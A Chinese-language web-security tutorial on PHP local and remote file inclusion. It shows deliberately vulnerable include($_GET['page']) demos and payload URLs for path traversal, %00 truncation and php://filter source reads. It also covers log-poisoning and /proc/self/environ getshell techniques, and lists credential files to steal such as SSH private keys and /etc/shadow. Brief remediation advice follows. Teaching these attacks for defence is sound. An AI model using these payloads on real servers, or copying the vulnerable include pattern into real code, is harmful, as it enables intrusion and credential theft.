松鼠说web安全之文件包含
无需言,做自己。
0x01 漏洞成因
通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 本地文件包含漏洞 被包含的文件在服务器本地远程文件包含漏洞。 被包含的文件在第三方服务器
条件:php.ini中配置项:allow_url_fopen ON allow_url_include ON
0x02 PHP中常见的文件包含函数
include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次总结:
(1) include() 执行到该函数时才会包含文件,而require() 程序一运行就加载文件;
(2) ***_once() 已加载的不重复加载
0x30 漏洞危害
执行任意脚本代码控制网站控制服务器0x40 漏洞利用
本地文件包含
上传图片,包含图片Getshell 读文件,读PHP文件 包含日志文件GetShell 包含/proc/self/environ文件GetShell 如果有phpinfo可以包含临时文件 包含data:// 或者 php://input 等协议(需要allow_url_include=on)
1、包含图片的文件上传
demo1 show.php:
<?phpif($_GET['page']){include($_GET['page']);}else{include("show.php");}?>
上传图片 1_php.jpg
<?phpphpinfo();?>
测试:
http://localhost/code_inject/1/show.php?page=upload/0801155130.jpg
demo2 show.php:
<?phpif($_GET['page']){include("./action/".$_GET['page']);}else{include("./action/show.php");}?>
http://localhost/code_inject/2/show.php?page=../upload/0801155526.jpg
demo3 show.php:
<?phpif($_GET['page']){include("./action/".$_GET['page'].".php");}else{include("./action/show.php");}?>
http://localhost/code_inject/3/show.php?page=../upload/0801155718.jpg%00
2、“%00”截断的方式
读取/etc/passwd文件:/etc/passwd%00
条件:php.ini 中需要 magic_quotes_gpc = off,PHP小于5.3.4有效
3、路径长度截断
/etc/passwd/./././././.[...]/./././.
条件:PHP版本小于5.2.8(?)可以成功,linux需要文件名长于4096,window需要长于256
4、读文件
index.php?file=/etc/passwd
5、敏感文件:
<code class="hljs avrasm has-numbering">/root/<span class="hljs-preprocessor">.ssh</span>/authorized_keys /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.keystore</span> /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.pub</span> /root/<span class="hljs-preprocessor">.ssh</span>/known_hosts /etc/shadow /root/<span class="hljs-preprocessor">.bash</span>_history /root/<span class="hljs-preprocessor">.mysql</span>_history/proc/self/fd/fd[<span class="hljs-number">0</span>-<span class="hljs-number">9</span>]* (文件标识符) /proc/mounts/proc/config<span class="hljs-preprocessor">.gz</span></code>
6、读取PHP文件
index.php?file=php://filter/read=convert.dase64.encode/resource=index.php
7、包含日志文件GetShell (需要一定的读取权限)
首先要找到日志文件的存放位置
文件包含漏洞去读取apache的配置文件index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf默认位置 /var/log/httpd/access_log
让日志文件插入PHP代码
burpsuite抓包改包curl发包php代码插入到get请求部分或者user_agent部分
包含日志文件
index.php?page=/var/log/httpd/access_log
8、包含环境变量GetShell
需要PHP运行在CGI模式,然后和包含日志文件一样,在User_agent中修改成payload
远程文件包含
条件:
php.ini 中配置项
alow_url_fopen ONallow_url_include ON
远程服务器存在一个txt文件,或者一个不被当前服务器解析的php文件(包含的时候 包含的是返回的php源代码,所以php源码不能被解析)index.php?page=/1/txt
0x05 漏洞挖掘
特定的CMS,特定的版本可能存在漏洞 web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测0x06 漏洞修复
php中可以使用 open_basedir配置限制访问权限在指定区域过滤 . (点) / (斜杠) \ (反斜杠)禁止服务器远程文件包含
补充:
appache日志文件默认在
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_logs
也可以找到apache的配置文件,通过配置文件找齐日志文件路径:
/etc/httpd/conf/httpd
或者
/etc/init.d/httpd
nginx日志文件默认在:
安装目录logs目录下
以我的安装路径为例/usr/local/nginx ------ 日志目录就是在/usr/local/nginx/logs里
window +iis6.0 日志文件默认放在
C:\WINDOWS\system32\Logfiles
配置文件默认在
C:\Windows/system32\inetsrv\metabase.xml
iis 7日志文件默认在
%SystemDrive%\inetpub\logs\LogFiles
配置文件默认目录
C:\Windows\System\inetsrv\config\applicationHost.config